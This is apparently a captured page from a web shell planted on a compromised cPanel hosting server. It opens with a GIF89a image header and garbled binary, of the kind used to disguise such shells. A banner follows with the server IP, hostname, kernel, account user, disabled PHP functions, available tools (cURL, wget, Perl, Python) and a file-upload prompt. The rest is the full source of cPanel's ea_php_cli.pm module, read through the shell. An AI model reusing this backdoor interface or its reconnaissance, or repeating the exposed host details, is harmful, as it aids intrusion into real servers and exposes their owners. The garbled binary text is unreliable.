GIF89a=( ı' 7IAXKgNgYvYx\%wh&h}tıh%ıs%xı}9ıRıı&ı0%ı (ı.ıı5ıSDıı&ıa)ıx5ıı;c*!&r)ï7õ<{4ı3ıH§KoTııYıaqııqııFı !ı ' !ıNETSCAPE2.0 , =( ııpH,ı$rıl:x(tJıZı,vıızııxL.:ıızınııı|Nııııı~ııııııı& !ı0`9Rı}ıı"ı"a:Sı~xııııııııgıııEıııııııRıııEııııBıı ıı8ııDııı"ını ıHııLııDkDıBıııııDıııTıııH ıGııA Rı |ıım&ııE8ıSıkGıAıpxıaıııR2XBııE8Iııı6Xı:vT)ı~ııqıåıı"F~%xı ı 4#Zı0O|-4BsıX:= Qı SalııyXJ`G&|shııK3l7ıB|ı$'7J©*0!ııDın=ıPııııı0`ıRıljııııv>ııı5 ı.69ıødııııınlvı9ııf{ıııPbxıl5}ıpııııı3aıııIıOıııı!>ıııiıı9ıı#ıı)pıa ½ ı{ı)vmıı%D~6fııs}RıDıW Eı`!ı ı&L8xı ı{)x`X/>ı}mııRı*|`Dı=ı_ ^ı5!_&'aıOı7ıcıı`DCx`ı¥ı9ıYıFııı`?ıı"ı ın@`ı} lıı@4>ıd S ıvıxNıı"@~dıı=ıgıs~Gııııııud &p8Qı)«lXDııııA~HıySunıjııık*DıLHı] ııC"JııXb~ªwSt}6K,ııqıS:9*:ııılı@ı`ıı ı.ìıt9ıSı[©:ıı=`9Nıııı{¿ıA !Rı:ııı6ııxı0ı_ ı;ıııııı^ııı#ıııı!ııııUııı;0L1ıııııp%AııU,uıı%ıSıı!ııı~`ıGıııı ııı=4ınpı3ıııııııııuıuın|%2ıIıırı#0ııJ``8ı@S@5ıııı^`8Eı]ı.ıSııı7 ı ı0ıj SıDı zıııiıSııııı!ııılııw9*ıDıIınEXııı &AıGoıQfııFıı;ııı}ıJııııF5ııQ|ıııXııTııyııı]ı o ııC=ıı:ıııPB@ DıSı(>ıCıx}`ııxJ,ıàııp+eE0`ı}`Aı/NEıı ı9@ııı Hı7ı!%B0`ıl*ıı!8 2ı%ı ı:ı1ı0Eııux%nP1ı!ıC)ıP81lıxF#¬{ııııB0>ıı
Server IP : 217.18.85.50 / Your IP : 3.133.153.224 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /var/cpanel/ea4/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - ea_php_cli.pm Copyright 2019 cPanel, L.L.C. # All rights Reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package ea_php_cli; use strict; use warnings; my $PATH_MAX = 4096; my $SYSCALL_GETCWD = 79; # 64bit only our $EUID; $EUID = $> if ${^GLOBAL_PHASE} eq "START"; my %types = ( php => 'CLI', 'php-cgi' => 'CGI', lsphp => 'LSAPI', ); sub run { my ( $type, $pkg, $dir, @args ) = proc_args(@_); $pkg ||= get_pkg_for_dir( $type, $dir ); die "Could not determine package for “$dirâ€\n" if !$pkg; return exec_via_pkg( $type, $pkg, @args ); } sub proc_args { my ( $type, @raw_args ) = @_; $type //= "undefined"; die "Invalid type ($type)\n" if !exists $types{$type}; my ( $dir, @args ); my $idx = -1; my $skipidx = -1; my $arg; # buffer for $arg (@raw_args) { $idx++; next if $idx == $skipidx; if ( substr( $arg, 0, 19 ) eq "--ea-reference-dir=" ) { # --ea-reference-dir=DIR ( undef, $dir ) = split( /=/, $arg, 2 ); # if set from -f $arg: blow it away } elsif ( _file_exists($arg) ) { # ZC-11178: use a wrapper in place of -f for testing purposes push @args, $arg; if ( !defined $dir ) { # set if not already set from --ea-reference-dir $dir = $arg; if ( index( $dir, "/" ) == -1 ) { $dir = "."; # foo.php } else { $dir =~ s{/[^/]+$}{}; $dir = "/" if $dir eq ""; # /foo.php } } } else { push @args, $arg; } } $dir //= "."; # since the lookup is based on abs path: if ( $dir eq "." ) { $dir = _getcwd(); } elsif ( substr( $dir, 0, 1 ) ne "/" || index( $dir, ".." ) != -1 ) { require Cwd; $dir = Cwd::abs_path($dir); } die "Could not determine path to lookup PHP setting for based on arguments\n" if !$dir; # this would be pretty odd return ( $type, undef, $dir, @args ); # This function no longer returns package data as of EA-7961. } sub _file_exists { return -f $_[0] } sub get_pkg_for_dir { my ( $type, $dir ) = @_; $type //= "undefined"; die "Invalid type ($type)\n" if !exists $types{$type}; my $dir_stat = [ stat($dir) ]; die "“$dir†is not a directory\n" if !-d _; return _get_default_pkg() if $dir_stat->[4] == 0; my $pkg; if ( !$ENV{NO_EA_PHP_CLI_CACHE} ) { $pkg = _get_from_cache( $dir, $dir_stat ); return $pkg if $pkg; } else { _unlink_cache_file( $dir, $dir_stat ); } $pkg = _get_pkg_for_path($dir); _cache_it_if_you_can( $dir, $dir_stat, $pkg ) unless $ENV{NO_EA_PHP_CLI_CACHE}; return $pkg || _get_default_pkg(); # get_php_config_for_users() factors in default, so $pkg should always be set but just in case … } sub exec_via_pkg { my ( $type, $pkg, @args ) = @_; $type //= "undefined"; die "Invalid type ($type)\n" if !exists $types{$type}; _pkg_name_check($pkg); my $prefix = _get_scl_prefix($pkg); my $binary = "$prefix/root/usr/bin/$type"; if ( !-x $binary ) { warn "There is no “$types{$type}†binary for “$pkgâ€, using default …\n"; $pkg = _get_default_pkg(); $prefix = _get_scl_prefix($pkg); $binary = "$prefix/root/usr/bin/$type"; die "Could not determine binary for “$pkgâ€\n" if !-x $binary; } exec( $binary, @args ); die "Could not execute “$binaryâ€: $!\n"; return; } ################################# #### get_pkg_for_dir() helpers ## ################################# sub _get_pkg_for_path { my ($dir) = @_; my $pkg; if ( $ENV{'PWD'} && $dir eq $ENV{'PWD'} ) { if ( substr( $dir, 0, 1 ) eq '/' ) { $pkg = _lookup_pkg_for_path($dir); # false if the directory they they think they are in is not configured so we can fall back to abspath } else { # this should not be possible naturally i.e. what does PWD of 'i/am/here' mean, what is it relative to? why would it be set to ../bar/../../foo/bar? warn "Relative \$PWD detected! Since that can be ambiguous we are ignoring \$PWD value and using absolute path for lookup instead\n"; # Patches welcome for this rabbit hole ;p file under YAGNI for now } # no package yet? check the directory they are actually in # and call abs_path to resolve any symlinks if ( !$pkg ) { require Cwd; $pkg = _lookup_pkg_for_path( Cwd::abs_path( _getcwd() ) ); } } else { $pkg = _lookup_pkg_for_path($dir); # false if the directory they they think they want is not configured so we can fall back to abspath if ( !$pkg ) { require Cwd; my $abs = Cwd::abs_path($dir); if ( defined $abs && $abs ne $dir ) { $pkg = _lookup_pkg_for_path($abs); } } } $pkg = _get_default_pkg() if !$pkg; return $pkg; } sub _get_from_cache { my ( $dir, $dir_stat ) = @_; my ( $user, $home ) = ( getpwuid( $dir_stat->[4] ) )[ 0, 7 ]; my $cachedir = _dir_to_cache_dir( $home, $dir ); my $pkg; if ( my $dir_cache_mtime = ( lstat("$cachedir/.ea-php-cli.cache") )[9] ) { my $userdata_cache_mtime = ( stat("/var/cpanel/userdata/$user/cache") )[9]; if ( !$Cpanel::PHPFPM::Constants::php_conf_path ) { require Cpanel::PHPFPM::Constants } my $phpconf_mtime = ( stat($Cpanel::PHPFPM::Constants::php_conf_path) )[9]; if ( $userdata_cache_mtime && $userdata_cache_mtime < $dir_cache_mtime && $phpconf_mtime < $dir_cache_mtime ) { $pkg = readlink("$cachedir/.ea-php-cli.cache"); eval { _pkg_name_check($pkg); _get_scl_prefix($pkg) }; warn "$@\n" if $@; return $pkg if $pkg; } } return; } sub _unlink_cache_file { my ( $dir, $dir_stat ) = @_; my $home = ( getpwuid( $dir_stat->[4] ) )[7]; my $cachedir = _dir_to_cache_dir( $home, $dir ); unlink("$cachedir/.ea-php-cli.cache"); return; } sub _lookup_pkg_for_path { my ($dir) = @_; my $pkg; my %dir_cache; my %uid_cache; my ( $dom, $uid ); # buffers my %getpwuid_cache; require Cpanel::PHP::Config; $dir =~ s{/+$}{}; # remove trailing /’s to since lookup is based on not having a trailing slash $dir =~ tr{/}{}s; # squash repetitive sequences of slashes, i.e. //// -> / while ($dir) { # walk the path looking for the first configured PHP (if any) $uid = _get_uid($dir); # EUID may not own $dir last if !$uid; # root can't own a domain, thus can't set a PHP version if ( !exists $dir_cache{$dir} ) { $getpwuid_cache{$uid} //= [ getpwuid($uid) ]; eval { $uid_cache{$uid} //= Cpanel::PHP::Config::get_php_config_for_users( [ $getpwuid_cache{$uid}->[0] ] ) }; last if $@; # non-cpanel users can't own a domain, thus can't set a PHP version for $dom ( keys %{ $uid_cache{$uid} } ) { $dir_cache{ $uid_cache{$uid}->{$dom}{documentroot} } = $uid_cache{$uid}->{$dom}{phpversion}; } } if ( $dir_cache{$dir} ) { $pkg = $dir_cache{$dir}; last; } elsif ( defined $getpwuid_cache{$uid} && defined $getpwuid_cache{$uid}->[7] && $dir eq $getpwuid_cache{$uid}->[7] ) { # because we can cache this one still last; } $dir =~ s{/[^/]+$}{}; } return $pkg; } sub _cache_it_if_you_can { my ( $dir, $dir_stat, $pkg ) = @_; # attempt to cache for non-root if ( $EUID && $EUID == $dir_stat->[4] && $pkg ) { # get_php_config_for_users() factors in default, so $pkg should always be set but just in case … local $!; unlink "$dir/.ea-php-cli.cache"; # clean up old cache location if necessary my ( $user, $home ) = ( getpwuid( $dir_stat->[4] ) )[ 0, 7 ]; my $cachedir = _dir_to_cache_dir( $home, $dir ); require File::Path::Tiny; File::Path::Tiny::mk($cachedir) or warn "Could not ensure ea-php-cli cache directory!\n"; unlink "$cachedir/.ea-php-cli.cache"; symlink( $pkg, "$cachedir/.ea-php-cli.cache" ); } } sub _dir_to_cache_dir { my ( $home, $dir ) = @_; $dir =~ s{^\Q$home\E}{$home/.cpanel/ea-php-cli}; return $dir; } ############### #### helpers ## ############### sub _pkg_name_check { my ($pkg) = @_; if ( index( $pkg, "/" ) != -1 || index( $pkg, "\0" ) != -1 || index( $pkg, ".." ) != -1 ) { $pkg =~ s/\0/{NULL-BYTE}/g; die "Package, $pkg, has invalid characters\n"; } return 1; } sub _get_default_pkg { require Cpanel::PHP::Config; my $default_pkg = Cpanel::PHP::Config::get_php_version_info()->{default}; # this calls a cached lookup woot woot die "Default PHP is not configured!\n" if !$default_pkg; return $default_pkg; } my %_get_scl_prefix; sub _get_scl_prefix { my ($pkg) = @_; return $_get_scl_prefix{$pkg} if $_get_scl_prefix{$pkg}; require Cpanel::SysPkgs::SCL; my $prefix = Cpanel::SysPkgs::SCL::get_scl_prefix($pkg); die "“$pkg†is not an EA4 SCL PHP\n" if !$prefix || !-d $prefix; $_get_scl_prefix{$pkg} = $prefix; return $_get_scl_prefix{$pkg}; } sub _get_uid { my ($dir) = @_; return $EUID || ( stat($dir) )[4]; } sub _getcwd { length( pack( 'l!', 1000 ) ) * 8 == 64 or die "This system only support 64-bit Linux"; my $cwd = "\0" x 4096; my $syscall_result = syscall( $SYSCALL_GETCWD, $cwd, $PATH_MAX ); if ( $syscall_result && $syscall_result != -1 ) { $cwd =~ tr{\0}{}d; } else { require Cwd; $cwd = Cwd::getcwd(); } if ( $ENV{'PWD'} && $cwd ne $ENV{'PWD'} && index( $ENV{'PWD'}, '../' ) == -1 ) { require Cwd; my $abs_path = Cwd::abs_path( $ENV{'PWD'} ); if ( $abs_path eq $cwd && ( stat($abs_path) )[4] == ( stat($cwd) )[4] ) { # If the absolute path of $ENV{'PWD'} points the the directory we are # currently in and it has the same owner than we except $ENV{'PWD'} # as truthy return $ENV{'PWD'}; } } return $cwd; } 1; __END__ =head1 This is not intended to be consumed outside of the package that installed it. The functions are meant to consolidate logic and facilitate testing. For usage see L<https://go.cpanel.net/ea-php-cli>.